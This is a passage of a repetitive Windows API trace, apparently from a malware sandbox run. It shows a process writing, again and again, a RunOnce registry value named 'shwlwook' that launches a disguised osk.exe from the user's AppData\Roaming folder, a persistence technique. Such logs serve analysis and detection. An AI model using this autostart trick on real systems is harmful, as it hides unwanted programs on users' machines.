lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.496] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.496] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.496] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.497] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.497] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.497] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.497] RegCloseKey (hKey=0x14c) returned 0x0 [0264.497] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.497] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.511] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.511] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.512] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.512] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.512] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.512] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.512] RegCloseKey (hKey=0x14c) returned 0x0 [0264.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.513] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.527] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.527] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.527] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.528] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.528] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.528] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.528] RegCloseKey (hKey=0x14c) returned 0x0 [0264.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.529] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.543] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.543] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.543] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.543] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.544] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.544] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.544] RegCloseKey (hKey=0x14c) returned 0x0 [0264.544] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.544] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.558] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.558] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.559] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.559] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.559] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.559] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.559] RegCloseKey (hKey=0x14c) returned 0x0 [0264.560] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.560] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.574] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.574] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.575] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.575] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.575] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.575] RegCloseKey (hKey=0x14c) returned 0x0 [0264.575] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.576] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.590] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.590] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.591] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.591] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.591] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.591] RegCloseKey (hKey=0x14c) returned 0x0 [0264.591] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.592] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.605] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.605] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.605] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.606] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.606] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.606] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.606] RegCloseKey (hKey=0x14c) returned 0x0 [0264.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.607] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.621] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.621] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.621] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.621] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.621] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.622] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.622] RegCloseKey (hKey=0x14c) returned 0x0 [0264.622] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.622] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.636] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.636] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.637] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.637] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.637] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.638] RegCloseKey (hKey=0x14c) returned 0x0 [0264.638] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.638] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.654] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.654] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.654] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.655] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.655] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.655] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.655] RegCloseKey (hKey=0x14c) returned 0x0 [0264.656] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.656] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.684] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.684] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.684] RegCloseKey (hKey=0x14c) returned 0x0 [0264.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.685] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.699] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.699] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.700] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.700] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.700] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.700] RegCloseKey (hKey=0x14c) returned 0x0 [0264.701] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.701] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.715] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.715] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.715] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.716] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.716] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.716] RegCloseKey (hKey=0x14c) returned 0x0 [0264.716] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.717] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.730] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.730] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.731] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.731] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.732] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.732] RegCloseKey (hKey=0x14c) returned 0x0 [0264.732] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.732] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.746] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.746] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.747] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.747] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.747] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.747] RegCloseKey (hKey=0x14c) returned 0x0 [0264.747] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.748] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.770] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.770] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.770] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.771] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.771] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.771] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.771] RegCloseKey (hKey=0x14c) returned 0x0 [0264.771] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.772] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.780] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.780] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.780] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.781] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.781] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.781] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.781] RegCloseKey (hKey=0x14c) returned 0x0 [0264.781] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.782] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.808] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.808] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.809] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.809] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.809] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.809] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.810] RegCloseKey (hKey=0x14c) returned 0x0 [0264.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.824] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.824] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.824] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.825] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.825] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.825] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.825] RegCloseKey (hKey=0x14c) returned 0x0 [0264.825] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.825] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.840] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.840] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.840] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.840] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.840] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.841] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.841] RegCloseKey (hKey=0x14c) returned 0x0 [0264.841] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.841] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.855] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.855] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.855] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.856] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.856] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, 